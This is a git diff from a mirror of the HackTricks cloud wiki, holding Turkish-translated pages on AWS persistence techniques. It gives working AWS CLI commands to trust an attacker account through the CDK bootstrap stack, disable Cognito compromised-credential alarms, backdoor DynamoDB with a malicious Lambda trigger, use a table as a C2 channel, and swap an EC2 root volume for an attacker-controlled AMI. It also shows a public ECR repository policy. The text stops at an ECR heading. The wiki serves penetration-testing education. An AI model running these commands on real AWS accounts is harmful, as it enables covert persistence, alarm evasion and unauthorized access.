mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -1,32 +0,0 @@
|
||||
# AWS - API Gateway Sürekliliği
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Daha fazla bilgi için:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Kaynak Politikası
|
||||
|
||||
API gateway'lerin kaynak politikasını değiştirerek kendinize erişim izni verin.
|
||||
|
||||
### Lambda Yetkilendiricilerini Değiştirin
|
||||
|
||||
Lambda yetkilendiricilerinin kodunu değiştirerek tüm uç noktalara erişim izni verin.\
|
||||
Ya da yetkilendiricinin kullanımını kaldırın.
|
||||
|
||||
### IAM İzinleri
|
||||
|
||||
Bir kaynak IAM yetkilendiricisi kullanıyorsa, IAM izinlerini değiştirerek kendinize erişim izni verebilirsiniz.\
|
||||
Ya da yetkilendiricinin kullanımını kaldırın.
|
||||
|
||||
### API Anahtarları
|
||||
|
||||
API anahtarları kullanılıyorsa, sürekliliği sağlamak için bunları sızdırabilir veya hatta yenilerini oluşturabilirsiniz.\
|
||||
Ya da API anahtarlarının kullanımını kaldırın.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+32
@@ -0,0 +1,32 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information go to:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
|
||||
Erişim sağlamak için API Gateway(leri) kaynak politikasını değiştirin
|
||||
|
||||
### Lambda Authorizers'ı Değiştirin
|
||||
|
||||
Tüm endpoints'e erişim verecek şekilde lambda authorizers kodunu değiştirin.\
|
||||
Ya da authorizer kullanımını kaldırın.
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
Eğer bir kaynak IAM authorizer kullanıyorsa, IAM permissions'i değiştirerek kendinize erişim verebilirsiniz.\
|
||||
Ya da authorizer kullanımını kaldırın.
|
||||
|
||||
### API Keys
|
||||
|
||||
API keys kullanılıyorsa, persistence'yi sürdürmek için onları leak edebilir ya da yeni API keys oluşturabilirsiniz.\
|
||||
Ya da API keys kullanımını kaldırın.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,23 +0,0 @@
|
||||
# AWS - Cloudformation Sürekliliği
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Daha fazla bilgi için erişin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Yığını
|
||||
|
||||
AWS CDK, `CDKToolkit` adında bir CFN yığını dağıtır. Bu yığın, kurban hesabına CDK projeleri dağıtmak için dış hesapların kullanılmasına izin veren `TrustedAccounts` adlı bir parametreyi destekler. Bir saldırgan, bu durumu kullanarak kendisine kurban hesabına süresiz erişim sağlayabilir; ya AWS cli kullanarak yığını parametrelerle yeniden dağıtarak ya da AWS CDK cli kullanarak.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
# AWS - Cloudformation Kalıcılık
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
AWS CDK, `CDKToolkit` adlı bir CFN stack dağıtır. Bu stack, harici hesapların hedef hesaba CDK projeleri dağıtmasına izin veren `TrustedAccounts` parametresini destekler. Bir saldırgan, stack'i parametrelerle yeniden dağıtarak veya AWS cli ya da AWS CDK cli'yi kullanarak kendisine hedef hesaba süresiz erişim sağlamak için bunu kötüye kullanabilir.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,40 +0,0 @@
|
||||
# AWS - Cognito Sürekliliği
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
Daha fazla bilgi için erişin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Kullanıcı sürekliliği
|
||||
|
||||
Cognito, kimlik doğrulaması yapılmamış ve kimlik doğrulaması yapılmış kullanıcılara roller vermeyi ve bir kullanıcı dizinini kontrol etmeyi sağlayan bir hizmettir. Bazı sürekliliği sağlamak için değiştirilebilecek birkaç farklı yapılandırma vardır, örneğin:
|
||||
|
||||
- **Kullanıcı Havuzuna** kullanıcı tarafından kontrol edilen bir Kimlik Havuzu eklemek
|
||||
- Kimlik doğrulaması yapılmamış bir Kimlik Havuzuna **IAM rolü vermek ve Temel kimlik doğrulama akışına izin vermek**
|
||||
- Saldırgan giriş yapabiliyorsa **kimlik doğrulaması yapılmış bir Kimlik Havuzuna** vermek
|
||||
- Veya verilen rollerin **izinlerini artırmak**
|
||||
- **Özniteliklerle kontrol edilen kullanıcılar veya yeni kullanıcılar aracılığıyla oluşturma, doğrulama ve yetki yükseltme** yapmak bir **Kullanıcı Havuzunda**
|
||||
- **Dış Kimlik Sağlayıcılarının** bir Kullanıcı Havuzuna veya bir Kimlik Havuzuna giriş yapmasına izin vermek
|
||||
|
||||
Bu eylemleri nasıl yapacağınızı kontrol edin
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
Bu yetkiye sahip bir saldırgan, Cognito kullanıcısı olarak giriş yapabilmek için risk yapılandırmasını değiştirebilir **alarm tetiklenmeden**. [**CLI'yi kontrol edin**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) tüm seçenekleri görmek için:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
Varsayılan olarak bu devre dışıdır:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,40 @@
|
||||
# AWS - Cognito Kalıcılığı
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Kullanıcı kalıcılığı
|
||||
|
||||
Cognito, kimliği doğrulanmamış ve kimliği doğrulanmış kullanıcılara roller atamaya ve bir kullanıcı dizinini kontrol etmeye izin veren bir servistir. Kalıcılık sağlamak için birkaç farklı yapılandırma değiştirilebilir, örneğin:
|
||||
|
||||
- **Adding a User Pool** kullanıcının kontrol ettiği bir Identity Pool'a eklemek
|
||||
- Kimliği doğrulanmamış bir Identity Pool'a **IAM role verip Basic auth flow'a izin vermek**
|
||||
- Veya saldırgan giriş yapabiliyorsa bir **authenticated Identity Pool**'a vermek
|
||||
- Veya verilen rollerin **izinlerini yükseltmek**
|
||||
- **Create, verify & privesc** kontrol edilen atributelere sahip kullanıcılar veya bir **User Pool**'daki yeni kullanıcılar üzerinden
|
||||
- Bir **User Pool** veya **Identity Pool**'a giriş için harici Identity Providers'a izin vermek
|
||||
|
||||
Bu işlemlerin nasıl yapılacağını inceleyin
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-cognito-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
Bu ayrıcalığa sahip bir saldırgan, risk yapılandırmasını değiştirerek bir Cognito kullanıcısı olarak alarmların tetiklenmesini engelleyerek oturum açabilir. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
Varsayılan olarak bu devre dışıdır:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,59 +0,0 @@
|
||||
# AWS - DynamoDB Sürekliliği
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
Daha fazla bilgi için erişin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Lambda Arka Kapısı ile DynamoDB Tetikleyicileri
|
||||
|
||||
DynamoDB tetikleyicilerini kullanarak, bir saldırgan bir tabloyla kötü niyetli bir Lambda fonksiyonunu ilişkilendirerek **gizli bir arka kapı** oluşturabilir. Lambda fonksiyonu bir öğe eklendiğinde, değiştirildiğinde veya silindiğinde tetiklenebilir, bu da saldırgana AWS hesabı içinde rastgele kod çalıştırma imkanı tanır.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
Sürekliliği sağlamak için, saldırgan DynamoDB tablosunda öğeler oluşturabilir veya bunları değiştirebilir, bu da kötü niyetli Lambda fonksiyonunu tetikler. Bu, saldırgana Lambda fonksiyonu ile doğrudan etkileşim olmadan AWS hesabı içinde kod çalıştırma imkanı tanır.
|
||||
|
||||
### DynamoDB'yi C2 Kanalı Olarak Kullanma
|
||||
|
||||
Bir saldırgan, komutlar içeren öğeler oluşturarak ve bu komutları almak ve yürütmek için ele geçirilmiş örnekler veya Lambda fonksiyonları kullanarak DynamoDB tablosunu **komut ve kontrol (C2) kanalı** olarak kullanabilir.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
Kompromize edilmiş örnekler veya Lambda fonksiyonları, yeni komutlar için C2 tablosunu periyodik olarak kontrol edebilir, bunları çalıştırabilir ve isteğe bağlı olarak sonuçları tabloya geri raporlayabilir. Bu, saldırgana, kompromize edilmiş kaynaklar üzerinde kalıcılık ve kontrol sağlama imkanı tanır.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,59 @@
|
||||
# AWS - DynamoDB Kalıcılık
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
Daha fazla bilgi için erişin:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Tetikleyicileri ile Lambda Backdoor
|
||||
|
||||
DynamoDB tetikleyicilerini kullanarak, saldırgan bir tabloya kötü amaçlı bir Lambda fonksiyonu ilişkilendirerek **sinsi backdoor** oluşturabilir. Bir öğe eklendiğinde, değiştirildiğinde veya silindiğinde Lambda fonksiyonu tetiklenebilir ve bu, saldırganın AWS hesabı içinde istediği kodu çalıştırmasına olanak sağlar.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
Kalıcılığı sürdürmek için, saldırgan DynamoDB tablosunda öğeler oluşturabilir veya değiştirebilir; bu, kötü amaçlı Lambda function'ı tetikleyecektir. Bu, saldırganın Lambda function ile doğrudan etkileşime girmeden AWS account içinde kod çalıştırmasına olanak tanır.
|
||||
|
||||
### DynamoDB bir C2 Channel olarak
|
||||
|
||||
Bir saldırgan, komut içeren öğeler oluşturarak ve bu komutları almak ve yürütmek için ele geçirilmiş instances veya Lambda functions kullanarak bir DynamoDB tablosunu **command and control (C2) channel** olarak kullanabilir.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
Ele geçirilmiş instances veya Lambda functions, yeni komutlar için C2 tablosunu periyodik olarak kontrol edebilir, bunları çalıştırabilir ve isteğe bağlı olarak sonuçları tabloya raporlayabilir. Bu, saldırganın ele geçirilmiş kaynaklar üzerinde persistence ve kontrol sağlamasına olanak tanır.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,54 +0,0 @@
|
||||
# AWS - EC2 Sürekliliği
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Güvenlik Grubu Bağlantı İzleme Sürekliliği
|
||||
|
||||
Eğer bir savunucu **EC2 örneğinin tehlikeye girdiğini** fark ederse, muhtemelen makinenin **ağını izole etmeye** çalışacaktır. Bunu açık bir **Deny NACL** ile yapabilir (ancak NACL'ler tüm alt ağa etki eder) veya **güvenlik grubunu değiştirerek** **herhangi bir türde gelen veya giden** trafiğe izin vermeyebilir.
|
||||
|
||||
Eğer saldırganın makineden kaynaklanan bir **ters kablosu** varsa, SG değiştirildiğinde bile gelen veya giden trafiğe izin vermeyen, **bağlantı [**Güvenlik Grubu Bağlantı İzleme**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)** nedeniyle kesilmeyecektir.**
|
||||
|
||||
### EC2 Yaşam Döngüsü Yöneticisi
|
||||
|
||||
Bu hizmet, **AMI'lerin ve anlık görüntülerin oluşturulmasını** **planlamaya** ve hatta **başka hesaplarla paylaşmaya** olanak tanır.\
|
||||
Bir saldırgan, **her hafta** tüm görüntülerin veya tüm hacimlerin **AMI'lerini veya anlık görüntülerini oluşturmak için** yapılandırabilir ve **kendi hesabıyla paylaşabilir**.
|
||||
|
||||
### Planlı Örnekler
|
||||
|
||||
Örneklerin günlük, haftalık veya hatta aylık olarak çalıştırılması mümkündür. Bir saldırgan, yüksek ayrıcalıklara sahip veya ilginç bir erişim sağlayan bir makine çalıştırabilir.
|
||||
|
||||
### Spot Filosu Talebi
|
||||
|
||||
Spot örnekleri, normal örneklerden **daha ucuzdur**. Bir saldırgan, **5 yıl için küçük bir spot filosu talebi** başlatabilir (örneğin), **otomatik IP** ataması ile ve saldırgana **spot örneği başladığında** **IP adresini** gönderen bir **kullanıcı verisi** ile.
|
||||
|
||||
### Arka Kapı Örnekleri
|
||||
|
||||
Bir saldırgan, örneklere erişim sağlayabilir ve bunları arka kapı ile açabilir:
|
||||
|
||||
- Örneğin geleneksel bir **rootkit** kullanarak
|
||||
- Yeni bir **genel SSH anahtarı** ekleyerek (bakınız [EC2 ayrıcalık yükseltme seçenekleri](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- **Kullanıcı Verisini** arka kapı ile açarak
|
||||
|
||||
### **Arka Kapı Başlatma Yapılandırması**
|
||||
|
||||
- Kullanılan AMI'yi arka kapı ile aç
|
||||
- Kullanıcı Verisini arka kapı ile aç
|
||||
- Anahtar Çifti'ni arka kapı ile aç
|
||||
|
||||
### VPN
|
||||
|
||||
Saldırganın VPC'ye doğrudan bağlanabilmesi için bir VPN oluşturun.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Kurban VPC ile saldırgan VPC arasında bir peering bağlantısı oluşturun, böylece kurban VPC'ye erişim sağlayabilir.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,62 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
Eğer bir savunmacı bir **EC2 instance ele geçirildiğini** fark ederse, muhtemelen makinenin **ağını izole etmeye** çalışacaktır. Bunu açık bir **Deny NACL** ile yapabilir (ama NACLs tüm subnet'i etkiler), veya **security group'u değiştirerek** **herhangi bir inbound veya outbound** trafiğe izin vermeyecek şekilde ayarlayabilir.
|
||||
|
||||
Eğer saldırganın makineden kaynaklanan bir **reverse shell**'i varsa, SG değiştirilsede veya inbound/outbound engellense bile, bağlantı [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html) nedeniyle **sonlandırılmayacaktır**.
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
Bu service, **AMIs ve snapshots** oluşturmayı **zamanlamaya** ve hatta **başka hesaplarla paylaşmaya** izin verir.\
|
||||
Bir saldırgan, tüm görüntülerin veya tüm volume'ların **her hafta** AMI veya snapshot oluşturulmasını yapılandırıp bunları **kendi hesabıyla paylaşacak** şekilde ayarlayabilir.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
Instance'ları günlük, haftalık veya aylık çalışacak şekilde zamanlamak mümkündür. Bir saldırgan, yüksek ayrıcalıklı veya ilginç erişime sahip bir makineyi periyodik olarak çalıştırabilir.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Spot instances, normal instance'lardan **daha ucuzdur**. Bir saldırgan örneğin **5 yıl** için küçük bir **spot fleet request** başlatabilir; **otomatik IP** ataması ve spot instance başladığında saldırgana **IP adresini** gönderen bir **user data** ile ve **yüksek ayrıcalıklı bir IAM role** ile.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
Bir saldırgan instance'lara erişip onları backdoor'layabilir:
|
||||
|
||||
- Örneğin geleneksel bir **rootkit** kullanarak
|
||||
- Yeni bir **public SSH key** ekleyerek (bkz. [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
|
||||
- **User Data**'yı backdoor'layarak
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Kullanılan AMI'yi backdoor'la
|
||||
- User Data'yı backdoor'la
|
||||
- Key Pair'i backdoor'la
|
||||
|
||||
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
|
||||
|
||||
Çalışan bir instance'ın root EBS volume'unu, saldırgan kontrollü bir AMI veya snapshot'tan oluşturulmuş olanla `CreateReplaceRootVolumeTask` kullanarak değiştir. Instance ENIs, IP'ler ve role'u korur; böylece görünürde değişmeden kötü amaçlı koda boot eder.
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-replace-root-volume-persistence/README.md
|
||||
{{#endref}}
|
||||
|
||||
### VPN
|
||||
|
||||
Bir VPN oluşturarak saldırganın VPC'ye doğrudan bağlanabilmesini sağla.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Hedef VPC ile saldırgan VPC'si arasında bir peering connection oluşturarak saldırganın hedef VPC'ye erişebilmesini sağla.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+75
@@ -0,0 +1,75 @@
|
||||
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
ec2:CreateReplaceRootVolumeTask yetkisini kötüye kullanarak, çalışan bir instance'ın root EBS hacmini saldırganın kontrolündeki bir AMI veya snapshot'tan geri yüklenmiş olanla değiştirebilirsiniz. Instance otomatik olarak yeniden başlatılır ve ENIs, private/public IPs, bağlı root olmayan hacimler ile instance metadata/IAM rolünü koruyarak saldırganın kontrolündeki root dosya sistemiyle devam eder.
|
||||
|
||||
## Gereksinimler
|
||||
- Hedef instance EBS-backed olmalı ve aynı bölgede çalışıyor olmalı.
|
||||
- Uyumlu AMI veya snapshot: hedef instance ile aynı mimari/virtualization/boot mode (ve varsa product codes).
|
||||
|
||||
## Ön kontroller
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<victim instance>
|
||||
|
||||
# Ensure EBS-backed
|
||||
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
|
||||
|
||||
# Capture current network and root volume
|
||||
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
|
||||
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
|
||||
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
|
||||
```
|
||||
## AMI'den root'u değiştir (tercih edilen)
|
||||
```bash
|
||||
IMAGE_ID=<attacker-controlled compatible AMI>
|
||||
|
||||
# Start task
|
||||
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
|
||||
|
||||
# Poll until state == succeeded
|
||||
while true; do
|
||||
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
|
||||
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
|
||||
done
|
||||
```
|
||||
Snapshot kullanarak alternatif:
|
||||
```bash
|
||||
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
|
||||
```
|
||||
## Kanıt / Doğrulama
|
||||
```bash
|
||||
# Instance auto-reboots; network identity is preserved
|
||||
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
|
||||
# Compare before vs after
|
||||
printf "ENI:%s IP:%s
|
||||
ORIG_VOL:%s
|
||||
NEW_VOL:%s
|
||||
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
|
||||
|
||||
# (Optional) Inspect task details and console output
|
||||
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
|
||||
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
|
||||
```
|
||||
Expected: ENI_ID and PRI_IP remain the same; the root volume ID changes from $ORIG_VOL to $NEW_VOL. The system boots with the filesystem from the attacker-controlled AMI/snapshot.
|
||||
|
||||
## Notlar
|
||||
- API, instance'ı manuel olarak durdurmanızı gerektirmez; EC2 yeniden başlatmayı (reboot) otomatik olarak gerçekleştirir.
|
||||
- Varsayılan olarak, değiştirilen (eski) root EBS volume ayrılır ve hesaba bırakılır (DeleteReplacedRootVolume=false). Bu geri alma için kullanılabilir veya maliyetlerden kaçınmak için silinmelidir.
|
||||
|
||||
## Geri Alma / Temizlik
|
||||
```bash
|
||||
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
|
||||
# you can create a snapshot and replace again from it:
|
||||
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
|
||||
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
|
||||
|
||||
# Or simply delete the detached old root volume if not needed:
|
||||
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,91 +0,0 @@
|
||||
# AWS - ECR Sürekliliği
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Kötü Amaçlı Kod İçeren Gizli Docker Görüntüsü
|
||||
|
||||
Bir saldırgan, bir ECR deposuna **kötü amaçlı kod içeren bir Docker görüntüsü yükleyebilir** ve bunu hedef AWS hesabında sürekliliği sağlamak için kullanabilir. Saldırgan daha sonra kötü amaçlı görüntüyü, Amazon ECS veya EKS gibi hesap içindeki çeşitli hizmetlere gizlice dağıtabilir.
|
||||
|
||||
### Depo Politikası
|
||||
|
||||
Kendinize (veya herkese) bir depoya erişim izni veren bir politika ekleyin:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> ECR'nin, kullanıcıların bir kayıt defterine kimlik doğrulaması yapabilmeleri ve herhangi bir Amazon ECR deposundan görüntüleri itip çekebilmeleri için **`ecr:GetAuthorizationToken`** API'sine çağrılar yapma **izinlerine** sahip olmalarını gerektirdiğini unutmayın.
|
||||
|
||||
### Kayıt Defteri Politikası ve Hesaplar Arası Çoğaltma
|
||||
|
||||
